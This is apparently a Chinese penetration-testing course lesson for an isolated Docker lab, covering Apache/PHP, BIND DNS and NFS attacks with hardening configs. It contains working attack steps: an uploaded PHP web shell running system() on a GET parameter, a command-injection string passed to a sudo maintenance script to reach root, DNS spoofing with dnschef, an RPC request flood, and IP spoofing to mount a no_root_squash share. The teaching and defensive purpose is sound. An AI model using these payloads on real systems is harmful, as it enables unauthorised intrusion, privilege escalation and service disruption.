知行课栈

外观

渗透平台与跨站攻击

约 5611 字大约 19 分钟

网络安全技术ApacheDNSNFS

2026-04-28

教学导读

本项目对应《第 3 章 Kali 渗透测试及 Linux 服务安全》PPT 第 6 部分，围绕 Linux 平台三大常见服务展开：Web/Apache、DNS/BIND、NFS 文件共享。本节不再停留在工具介绍层面，而是把渗透测试完整流程落地为真实攻击链：信息收集 → 目标测试 → 漏洞利用 → 权限提升 → 证据复盘 → 服务加固。

1. 项目任务与交付物

项目任务

完成三类服务攻击的完整复现：Web 入侵到 root 提权、DNS 区域传送与欺骗、NFS 拒绝服务与身份伪造。

涉及工具

nmap curl nikto dig dnschef tcpdump showmount rpcinfo mount tail——覆盖扫描、利用、抓包、取证全流程。

最终产出

提交一份 Linux 服务渗透报告：攻击路径、命令记录、关键输出截图、root 权限证据、日志痕迹和加固配置。

2. 本节实训拓扑

角色示例地址运行服务课堂用途
Kali 攻击机10.10.6.5渗透工具集发起扫描、验证漏洞、抓包、生成报告
Web 靶机10.10.6.10Apache/PHP复现 Web 入口到 root 权限的完整链路
DNS 靶机10.10.6.20BIND复现区域传送、欺骗响应、缓存污染影响
NFS 靶机10.10.6.30NFS/RPC复现 RPC 消耗、IP/UID 信任欺骗
受害客户端10.10.6.40浏览器、DNS 客户端、NFS 客户端验证解析结果、挂载结果和业务影响

授权实训说明

下列命令默认运行在本课程提供的 Docker 靶场环境中。报告必须写明目标、授权范围、时间窗口和证据来源。

2.1 实验环境部署

本课程提供一套完整的 Docker 容器化靶场，一键部署全部靶机。项目源码位于 lesson6-lab/ 目录。

前置条件：

  • Kali WSL 或 Kali Linux（攻击机）
  • Docker 已安装并运行
  • Docker 镜像源：项目中的 Dockerfile 已配置国内镜像加速，基础镜像和 APT 源均使用国内代理，无需手动配置
  • 攻击工具：nmap、curl、dig、tcpdump、rpcinfo、showmount（apt-get install -y nmap dnsutils tcpdump nfs-common）

一键部署（推荐）：

cd lesson6-lab
sudo bash run-all.sh

此脚本自动完成：环境检查 → 创建 Docker 网络 → 构建并启动四个靶机容器 → 验证漏洞配置 → 执行全部攻击链 → 汇总证据。

分步部署：

# 步骤 1: 创建 Docker 网络 (10.10.6.0/24)
bash 00-docker-network.sh

# 步骤 2: 部署靶机容器（按需选择）
bash 01-web-target/setup.sh       # Web 靶机  (10.10.6.10, Apache/PHP)
bash 02-dns-target/setup.sh       # DNS 靶机  (10.10.6.20, BIND9)
bash 03-nfs-target/setup.sh       # NFS 靶机  (10.10.6.30, NFS/RPC)
bash 04-victim-client/setup.sh    # 受害客户端 (10.10.6.40)

# 步骤 3: 验证部署
curl --noproxy "*" -s -I http://10.10.6.10/     # Web 应返回 Apache 头
dig @10.10.6.20 www.yangwh.lab +short          # DNS 应解析到 10.10.6.10
showmount -e 10.10.6.30                         # NFS 应列出共享目录

# 步骤 4: 执行攻击
bash 05-kali-attack/attack-web.sh               # Web 渗透：上传 -> 提权 -> root
bash 05-kali-attack/attack-dns.sh               # DNS 攻击：AXFR -> dnschef -> 抓包
bash 05-kali-attack/attack-nfs.sh               # NFS 攻击：DoS -> IP欺骗 -> root文件

# 清理环境
docker rm -f web-target dns-target nfs-target victim-client
docker network rm pentest-lab

靶机漏洞清单：

靶机故意配置的漏洞对应课程节
Web (.10)PHP 上传无后端扩展名检查4.2
Web (.10)sudo NOPASSWD + 维护脚本命令注入4.3
DNS (.20)allow-transfer { any; } 区域传送未限制5.1
DNS (.20)allow-recursion { any; } 递归开放5.3
DNS (.20)version "BIND 9.18" 版本号暴露5.4
NFS (.30)no_root_squash + IP 范围过宽6.3

Web 提权链

从 Apache 入口走到 root 权限

当前阶段

服务识别

入口确认

先确认 Web 服务版本、脚本语言、开放端口和响应头，判断是否存在旧组件、危险方法或管理入口。

关键命令 / 证据
nmap -sS -sV -O -p 22,80,443,8080 10.10.6.10
curl -I http://10.10.6.10/
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
攻击者获得

知道目标运行 Apache/PHP，并确定后续测试入口。

防护者应看

资产清单、版本暴露、补丁状态、安全响应头。

3. PPT 知识点重构

PPT 的 “Linux 服务安全” 部分将本节拆为 Web、DNS、NFS 三个攻击面。对照渗透测试流程，可整理为下表：

PPT 小节攻击面本节实训动作防护落点
Apache 常用攻击HTTP 拒绝服务、恶意脚本、root 权限获取Web 指纹识别、目录枚举、命令执行、提权到 root补丁更新、非 root 运行、访问控制、日志审计、HTTPS
DNS 常见攻击内外部攻击、区域传送泄露、缓存中毒AXFR 枚举、伪造解析、抓包解释序列号和应答抢答禁递归、限制区域传送、限制查询、隐藏版本
NFS 常见攻击DoS、欺骗、CVE 提权RPC 请求消耗、伪造可信客户端、UID/root_squash 对照限制客户端、Kerberos、只读、root_squash、最小共享

渗透测试不是单个工具的输出堆砌，而是一个层层递进的过程：

4. Web/Apache 渗透：从入口到 root 权限

4.1 信息收集与服务识别

nmap -sS -sV -O -p 22,80,443,8080 10.10.6.10
nikto -host http://10.10.6.10/
curl --noproxy "*" -I http://10.10.6.10/

真实输出：

Nmap scan report for 10.10.6.10
Host is up (0.00013s latency).

PORT     STATE  SERVICE    VERSION
22/tcp   closed ssh
80/tcp   open   http       Apache httpd 2.4.52 ((Ubuntu))
443/tcp  closed https
8080/tcp closed http-proxy

HTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 578
Content-Type: text/html

+ Server: Apache/2.4.52 (Ubuntu)
+ [600050] Apache/2.4.52 appears to be outdated (current is at least 2.4.66).
+ [013587] /: Suggested security header missing: strict-transport-security.
+ [013587] /: Suggested security header missing: x-content-type-options.
+ [999990] OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .

这一步在做什么：

  • nmap 用来确认目标开放端口和服务版本。真实结果显示只有 80/tcp 开放，Web 服务是 Apache httpd 2.4.52 ((Ubuntu))。
  • curl 用 HTTP 响应头证明服务真实可访问，200 OK 表示首页正常响应。这里必须加 --noproxy "*"，否则 Kali 环境里的代理可能把 10.10.6.10 请求误转出去。
  • nikto 是 Web 基线扫描工具，这里输出的重点不是“自动入侵成功”，而是发现 Apache 版本偏旧、缺少安全响应头、允许 OPTIONS 方法等可继续检查的弱点。

发生了什么：攻击者已经确认 10.10.6.10 是一个 Apache/PHP Web 靶机，下一步可以围绕上传点、脚本执行和 Web 服务权限继续验证。

4.2 Web 入口利用

课堂 Web 靶机内置一个上传缺陷：上传目录允许 PHP 解释，服务端只检查前端提示，不检查后端扩展名。利用过程如下：

cat > /tmp/course_probe.php <<'PHP'
<?php echo "course-web-root-lab\n"; system($_GET["cmd"] ?? "id"); ?>
PHP

curl --noproxy "*" -s -F "file=@/tmp/course_probe.php" \
  http://10.10.6.10/upload.php

curl --noproxy "*" -s "http://10.10.6.10/uploads/course_probe.php?cmd=id"

真实输出：

上传成功: course_probe.php
路径: /uploads/course_probe.php

course-web-root-lab
uid=33(www-data) gid=33(www-data) groups=33(www-data)

这一步在做什么：先上传一个 PHP 探针文件，再访问 /uploads/course_probe.php?cmd=id，让服务器执行 id 命令。

发生了什么：上传点没有做后端扩展名白名单，course_probe.php 被保存到可被 Apache 解释的上传目录中。访问这个文件时，PHP 中的 system() 被执行。

输出说明：uid=33(www-data) 说明命令已经在服务器上执行，但当前权限只是 Apache 运行用户 www-data，还不是 root。

4.3 提权到 root

PPT 提到的“非法获取 root 权限”通常来自两个根因：Web 服务以过高权限运行，或本地存在可被低权限用户触发的缺陷程序。课堂靶机使用第二种方式：www-data 用户可以无密码调用一个存在命令注入缺陷的维护脚本。

curl --noproxy "*" -s "http://10.10.6.10/uploads/course_probe.php?cmd=sudo%20-l"

真实输出：

course-web-root-lab
Matching Defaults entries for www-data on web-target:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User www-data may run the following commands on web-target:
    (root) NOPASSWD: /usr/local/sbin/apache-log-maint

继续利用维护脚本的参数拼接缺陷：

curl --noproxy "*" -G -s "http://10.10.6.10/uploads/course_probe.php" \
  --data-urlencode 'cmd=sudo /usr/local/sbin/apache-log-maint --grep "access; id; #"'

真实输出：

course-web-root-lab
uid=0(root) gid=0(root) groups=0(root)

这一步在做什么：sudo -l 用来列出 www-data 能以 root 身份执行哪些命令。结果显示它可以无密码执行 /usr/local/sbin/apache-log-maint。随后把 access; id; # 拼进 --grep 参数，利用维护脚本的命令拼接缺陷执行 id。

发生了什么：分号 ; 把原本的维护命令截断并追加了新的 id 命令；因为整个维护脚本是通过 sudo 以 root 运行，所以追加命令也以 root 身份执行。

输出说明：uid=0(root) 是本节 Web 链路的关键证据，证明攻击已经从 Web 服务用户提升到 root 权限。

报告中必须保留三类证据：

证据示例证明什么
初始入口course_probe.php 上传记录、访问日志Web 上传点可执行 PHP
当前权限uid=33(www-data)已获得 Web 服务用户权限
root 权限uid=0(root)已完成本地权限提升

4.4 日志复盘与加固

grep -E "upload.php|course_probe|apache-log-maint" /var/log/apache2/access.log
tail -100 /var/log/apache2/error.log
find /var/www/html/uploads -type f -printf "%TY-%Tm-%Td %TH:%TM %u %g %p\n"
风险点修复动作
上传目录可执行脚本上传目录关闭 PHP/CGI 解释，文件重命名存储，后端白名单校验
Apache 暴露版本与旧组件更新系统与 Apache/PHP，隐藏不必要版本信息
sudo 维护脚本参数拼接去掉 NOPASSWD，脚本使用固定参数和白名单，不拼接 shell
日志只在本机保存访问日志、错误日志和系统日志集中采集，防止入侵后删除
服务权限过高Apache 使用独立低权限用户运行，Web 目录最小权限

5. DNS/BIND 攻击：区域传送、欺骗与缓存中毒

DNS 攻击实现

从记录泄露到错误解析

AXFR
攻击原理

BIND 主服务器允许任意来源做区域传送时，攻击者能一次性复制整个域名区域记录。

成功影响

内部主机名、管理入口、邮件服务和文件服务暴露，后续扫描成本大幅下降。

课堂命令
dig @10.10.6.20 yangwh.lab axfr
www.yangwh.lab.    3600 IN A 10.10.6.10
files.yangwh.lab.  3600 IN A 10.10.6.30
admin.yangwh.lab.  3600 IN A 10.10.6.50
Queryyangwh.lab AXFR
Server10.10.6.20
Leak完整区域记录
Fixallow-transfer

5.1 区域传送泄露

区域传送（Zone Transfer，DNS 主从服务器同步一个域名区域完整记录的机制）如果没有限制来源，攻击者可以一次性拿到内部主机名、IP、邮件服务器和管理入口。

dig @10.10.6.20 yangwh.lab axfr

真实输出：

; <<>> DiG 9.20.22-1-Debian <<>> @10.10.6.20 yangwh.lab axfr
; (1 server found)
;; global options: +cmd
yangwh.lab.         3600 IN SOA   dns.yangwh.lab. admin.yangwh.lab. 2026050701 3600 900 604800 86400
yangwh.lab.         3600 IN NS    dns.yangwh.lab.
admin.yangwh.lab.   3600 IN A     10.10.6.50
dns.yangwh.lab.     3600 IN A     10.10.6.20
files.yangwh.lab.   3600 IN A     10.10.6.30
mail.yangwh.lab.    3600 IN CNAME www.yangwh.lab.
www.yangwh.lab.     3600 IN A     10.10.6.10
yangwh.lab.         3600 IN SOA   dns.yangwh.lab. admin.yangwh.lab. 2026050701 3600 900 604800 86400
;; SERVER: 10.10.6.20#53(10.10.6.20) (TCP)
;; XFR size: 8 records (messages 1, bytes 256)

这一步在做什么：

  • dig @10.10.6.20 yangwh.lab axfr 请求 DNS 区域传送（Zone Transfer，即主从 DNS 同步完整区域记录的机制）。
  • 真实输出返回了 SOA、NS、A、CNAME 等完整记录，说明 BIND 没有限制 AXFR 来源。
  • 攻击者不需要扫描整个网段，就能知道 www 指向 Web 靶机 10.10.6.10，files 指向 NFS 靶机 10.10.6.30，admin 指向内部管理入口 10.10.6.50。

发生了什么：DNS 服务器把整个 yangwh.lab 区域当作同步数据发给了非授权查询者。防护配置应使用 allow-transfer 只允许指定辅助 DNS 服务器。

5.2 DNS 欺骗实现

DNS 欺骗的核心是让客户端收到“看起来合法但指向错误 IP 的解析结果”。课堂用 dnschef 构造一个假解析器，再用受害客户端验证解析变化。

攻击机启动假解析：

dnschef --interface 10.10.6.5 \
  --fakeip 10.10.6.66 \
  --fakedomains www.yangwh.lab

受害客户端把 DNS 指向攻击机后查询：

dig @10.10.6.5 www.yangwh.lab +short
curl --noproxy "*" -H "Host: www.yangwh.lab" http://10.10.6.66/

真实输出：

Kali 攻击机: 10.10.6.5
dnschef --interface 10.10.6.5 --fakeip 10.10.6.66 --fakedomains www.yangwh.lab

dig @10.10.6.5 www.yangwh.lab +short
10.10.6.66

docker exec victim-client dig @10.10.6.5 www.yangwh.lab +short
10.10.6.66

抓包观察：

tcpdump -ni br-1f5e3f37bb6e "udp port 53 and host 10.10.6.40"

真实抓包摘要：

01:54:49.684054 IP 10.10.6.40.52767 > 10.10.6.5.53: 45736+ [1au] A? www.yangwh.lab. (55)
01:54:49.684866 IP 10.10.6.5.53 > 10.10.6.40.52767: 45736*$ 1/0/0 A 10.10.6.66 (48)

关键字段：

字段欺骗点
Transaction ID响应必须匹配客户端查询的序列号
Source Port响应必须打到客户端等待 DNS 响应的端口
Question查询名必须对应 www.yangwh.lab
Answer攻击者把真实地址替换为 10.10.6.66

这一步在做什么：攻击机在 10.10.6.5:53 启动一个假 DNS 解析器，告诉客户端 www.yangwh.lab 的地址不是正常的 10.10.6.10，而是攻击者指定的 10.10.6.66。

发生了什么：受害客户端 10.10.6.40 向 10.10.6.5 查询 www.yangwh.lab，dnschef 返回伪造 A 记录。抓包里请求和响应的 Transaction ID 都是 45736，响应源端口是 53，目标端口是客户端临时端口 52767，因此客户端会把这条响应当成合法 DNS 结果。

输出说明：两次 dig 都得到 10.10.6.66，证明 Kali 自测和 victim-client 验证都被欺骗解析影响。curl 访问 10.10.6.66 没有 Web 服务是预期现象，本实验关注的是“解析被改写”，不是假站点内容。

5.3 缓存中毒实现逻辑

缓存中毒（Cache Poisoning，把伪造的域名解析结果写入 DNS 缓存）比普通假解析更危险，因为错误结果会影响后续所有使用该缓存服务器的客户端。

课堂靶机为了让过程可见，会把 DNS 缓存服务器的源端口固定，并降低随机化强度。真实生产环境中，BIND 应保持事务 ID 和源端口随机化，并限制递归来源。

5.4 DNS 加固配置

options {
    recursion yes;
    allow-recursion { 10.10.6.0/24; };
    allow-query { 10.10.6.0/24; };
    version "unknown";
};

zone "yangwh.lab" IN {
    type master;
    file "yangwh.lab.zone";
    allow-transfer { 10.10.6.21; };
};
攻击防护配置验收方式
区域传送泄露allow-transfer非授权主机执行 dig axfr 返回失败
缓存中毒限制递归、保持随机化外部主机不能使用本 DNS 递归
版本探测version "unknown"dig chaos txt version.bind 不暴露真实版本
任意查询allow-query非业务网段查询被拒绝

6. NFS 攻击：拒绝服务与欺骗

NFS 攻击场景板

拒绝服务、可信 IP 与 UID 欺骗

攻击点

RPC/NFS 请求消耗

可用性

NFS 依赖 RPC 和 nfsd 线程。大量 mount、rpcinfo 或文件操作会消耗连接、线程和文件句柄，使正常客户端挂载超时。

命令与输出
seq 1 200 | xargs -I{} -P40 rpcinfo -T tcp 10.10.6.30 100003 >/tmp/nfs-rpc-dos.log 2>&1
ss -tan sport = :2049 | wc -l
journalctl -u nfs-server --since "5 minutes ago"
加固方向
  • 限制 111/2049 来源地址
  • 调优 nfsd 线程和连接上限
  • 为 NFS 单独做监控和限流
  • 对异常 RPC 请求写告警规则

6.1 服务发现

nmap -sV -p 111,2049 10.10.6.30
rpcinfo -p 10.10.6.30
showmount -e 10.10.6.30

真实输出：

PORT     STATE SERVICE VERSION
111/tcp  open  rpcbind 2-4 (RPC #100000)
2049/tcp open  nfs     3-4 (RPC #100003)

program vers proto   port  service
 100000    4   tcp    111  portmapper
 100000    3   tcp    111  portmapper
 100003    3   tcp   2049  nfs
 100003    4   tcp   2049  nfs
 100005    3   tcp  30001  mountd

Export list for 10.10.6.30:
/srv/nfs/public 10.10.6.0/24
/srv/nfs        10.10.6.0/24
/srv/nfs/admin  10.10.6.40

这一步在做什么：

  • 111 是 RPC/portmapper，NFS 会通过 RPC 暴露程序号、版本和端口。
  • rpcinfo -p 把 RPC 程序号、版本、协议和端口列出来，真实输出里 100003 是 NFS，100005 是 mountd。
  • showmount -e 能看到导出的目录和允许的客户端范围：public 对 10.10.6.0/24 开放，admin 只信任 10.10.6.40。

发生了什么：攻击者已经确认 10.10.6.30 是 NFS/RPC 靶机，并找到了后续两个攻击面：一个是 RPC 请求消耗，另一个是伪装成 10.10.6.40 访问管理共享。

6.2 NFS 拒绝服务攻击展示

NFS DoS 的思路不是“打一个漏洞”，而是持续消耗 RPC、mountd 或 nfsd 的连接、线程和文件句柄。课堂靶机用短时间 RPC 请求风暴观察服务资源变化。

攻击机发起 200 次 RPC 查询：

seq 1 200 | xargs -I{} -P40 timeout 2 rpcinfo -T tcp 10.10.6.30 100003 >/tmp/nfs-rpc-dos.log 2>&1

靶机观察：

ss -tan sport = :2049 | wc -l
exportfs -v
tail -50 /var/log/syslog | grep -i nfs

真实输出：

攻击前 2049 端口连接数: 3
发起 200 次 RPC 查询请求风暴
完成。日志: /tmp/lesson6-nfs-attack-20260508-015349/nfs-dos-rpc.log

DoS 后 2049 端口连接数: 3
/srv/nfs/admin  10.10.6.40(sync,wdelay,hide,no_subtree_check,sec=sys,rw,insecure,no_root_squash,no_all_squash)
/srv/nfs        10.10.6.0/24(sync,wdelay,hide,crossmnt,no_subtree_check,fsid=0,sec=sys,ro,insecure,root_squash,no_all_squash)
/srv/nfs/public 10.10.6.0/24(sync,wdelay,hide,no_subtree_check,sec=sys,ro,insecure,root_squash,no_all_squash)

这一步在做什么：并发执行 200 次 rpcinfo 查询，目标是 NFS 程序号 100003。这类请求本身不写文件，但会持续占用 RPC、mountd、nfsd 的处理资源。

发生了什么：在当前 Docker 靶场中，短时请求风暴没有把服务打崩，2049 连接数从观察窗口看仍为 3，说明服务在这次强度下仍能恢复。报告里不能写“服务已瘫痪”，应该写“完成 RPC 请求风暴，服务未崩溃，但可观察导出状态和日志变化”。

输出说明：exportfs -v 暴露了三个关键安全点：/srv/nfs/admin 是 rw，带 no_root_squash；/srv/nfs 是 NFSv4 伪根 fsid=0；/srv/nfs/public 是只读公开共享。

DoS 报告不要只写“服务卡了”，要写清楚消耗点：

观察项说明
RPC 查询数量请求风暴是否集中打在 RPC/NFS 程序号
TCP 连接数2049 端口连接是否异常增加
nfsd 线程是否出现线程耗尽或请求排队
日志是否出现拒绝挂载、超时、连接过多

6.3 NFS 欺骗攻击展示

NFS 的传统风险是“信任客户端”。如果 /etc/exports 只按 IP 或 UID/GID 做判断，攻击者就可以伪装成被信任的客户端或伪造文件属主。

靶机错误配置：

/srv/nfs        10.10.6.0/24(ro,fsid=0,crossmnt,sync,insecure,no_subtree_check)
/srv/nfs/public 10.10.6.0/24(ro,sync,insecure,no_subtree_check)
/srv/nfs/admin  10.10.6.40(rw,sync,insecure,no_root_squash,no_subtree_check)

攻击者在同一网段伪造可信客户端地址后挂载：

IFACE=$(ip -o -4 addr show | awk '$4 == "10.10.6.1/24" {print $2; exit}')
docker stop victim-client
ip addr add 10.10.6.40/24 dev "$IFACE"
ip route replace 10.10.6.30/32 dev "$IFACE" src 10.10.6.40
mkdir -p /mnt/admin-share
mount -t nfs -o vers=3,nolock 10.10.6.30:/srv/nfs/admin /mnt/admin-share
id
touch /mnt/admin-share/root-owned-proof
ls -ln /mnt/admin-share/root-owned-proof

真实输出：

victim-client 正在占用 10.10.6.40，临时停止以释放可信 IP
使用接口: br-1f5e3f37bb6e
添加伪装 IP: 10.10.6.40/24

inet 10.10.6.1/24 brd 10.10.6.255 scope global br-1f5e3f37bb6e
inet 10.10.6.5/24 scope global secondary br-1f5e3f37bb6e
inet 10.10.6.40/24 scope global secondary br-1f5e3f37bb6e

管理共享挂载成功
uid=0(root) gid=0(root) 组=0(root)
-rw-r--r-- 1 0 0 0  5月 8日 01:54 /mnt/admin-share/root-owned-proof
confidential admin data - lesson 6 demo

这一步在做什么：脚本先临时停止 victim-client，释放 10.10.6.40，再把这个可信客户端 IP 绑定到 Kali 的 pentest-lab bridge 上，并强制到 10.10.6.30 的路由使用 10.10.6.40 作为源地址。

发生了什么：NFS 服务器只信任 10.10.6.40 访问 /srv/nfs/admin，但它只按客户端 IP 做判断。Kali 伪装出这个地址后，服务端接受挂载请求；由于导出配置中存在 no_root_squash，客户端 root 没有被映射成匿名用户。

输出说明：

  • no_root_squash 让客户端 root 在共享目录中仍表现为 UID 0。
  • 服务端看到的是数字 UID/GID，不等于完成了真实用户认证。
  • IP 信任和 UID 信任叠加，会让攻击者以伪装身份访问或修改共享文件。

6.4 NFS 加固配置

/srv/nfs/public 10.10.6.0/24(ro,sync,root_squash,no_subtree_check)
/srv/nfs/admin 10.10.6.40(rw,sync,root_squash,no_subtree_check,sec=krb5p)
配置作用验收方式
ro公共共享只读客户端写入失败
root_squash客户端 root 映射为匿名用户ls -ln 不再显示 UID 0
sec=krb5p使用 Kerberos 并加密 NFS 数据未认证客户端无法挂载
精确客户端不使用通配符或过宽网段非授权 IP 挂载失败
防火墙限制限制 111、2049 来源非业务网段端口不可达

7. 综合实训任务

7.1 Web 服务

  1. 扫描 10.10.6.10 并识别 Apache/PHP 版本。
  2. 找到上传入口并证明 PHP 可以执行。
  3. 获取 www-data 用户权限，再利用维护脚本缺陷提权到 root。
  4. 截取 uid=0(root) 输出、上传文件路径、access.log 和 error.log 证据。
  5. 写出 5 条 Apache 加固建议。

7.2 DNS 服务

  1. 对 10.10.6.20 执行 dig axfr，判断是否泄露区域记录。
  2. 使用 dnschef 构造 www.yangwh.lab -> 10.10.6.66 的欺骗解析。
  3. 用 tcpdump 标注 DNS 查询和响应中的 TXID、源端口、问题段、回答段。
  4. 解释缓存中毒为什么需要“抢答”真实权威服务器。
  5. 写出 BIND 的 allow-transfer、allow-recursion、allow-query 加固配置。

7.3 NFS 服务

  1. 使用 rpcinfo 和 showmount 枚举 NFS 暴露面。
  2. 执行短时间 RPC 请求风暴，并记录连接数、日志和服务状态。
  3. 复现可信 IP/UID 欺骗，证明 no_root_squash 的风险。
  4. 修改 /etc/exports 使用 ro、root_squash、精确客户端和 Kerberos。
  5. 重新挂载验证：非授权客户端失败，root 文件属主不再保持 UID 0。

8. 渗透报告模板

字段填写要求
目标与授权靶机 IP、服务、时间窗口、授权人
服务识别端口、版本、组件、配置暴露
攻击路径按“入口 -> 权限 -> 提权 -> 影响”描述
关键证据命令、输出、日志、文件时间、抓包字段
root 权限证明uid=0(root) 或等效靶场证明
DNS 影响证明错误解析 IP、缓存记录、抓包字段
NFS 影响证明DoS 资源变化、挂载结果、UID/GID 证据
风险等级结合影响范围、可利用性、权限级别判断
加固建议配置片段 + 验收命令
复测结果修复后同样命令是否失败或风险降低

9. 术语说明

术语解释
Apache常见 Web 服务器软件，用来提供 HTTP/HTTPS 网站服务
root 权限Linux 最高管理员权限，能管理系统文件、用户、服务和进程
BINDLinux/Unix 上常见 DNS 服务器软件
AXFRDNS 区域传送，用于主从 DNS 同步完整域名记录
DNS 缓存中毒攻击者把伪造解析结果写入缓存 DNS，影响后续用户访问
NFSNetwork File System，网络文件系统，用来通过网络共享目录
RPCRemote Procedure Call，远程过程调用，NFS 依赖它协调服务端口和程序号
DoSDenial of Service，拒绝服务，通过消耗资源让服务不可用
root_squashNFS 安全选项，把客户端 root 映射为低权限匿名用户

10. 课堂验收清单

验收项达标标准
Web 提权能从 Apache Web 入口拿到 www-data 权限，并展示 root 权限证据
Web 复盘能用日志说明入口、文件落地、提权动作和修复点
DNS 攻击能展示 AXFR 泄露、假解析结果和缓存中毒实现逻辑
DNS 加固能写出并验证 allow-transfer、allow-recursion、allow-query
NFS DoS能解释 RPC/NFS 请求如何消耗连接、线程或文件句柄
NFS 欺骗能展示可信 IP/UID/root_squash 配置差异带来的访问变化
综合报告证据完整，结论不脱离命令输出和日志

11. 课后任务

  1. 根据 Web 靶机输出，画出“上传入口 -> Web 用户 -> sudo 缺陷 -> root”的攻击链。
  2. 根据 DNS 抓包，标注一次正常解析和一次欺骗解析的差异。
  3. 根据 NFS /etc/exports，写出一份从错误配置到安全配置的对照表。
  4. 把三个服务的加固建议整理成一份 Linux 服务安全基线。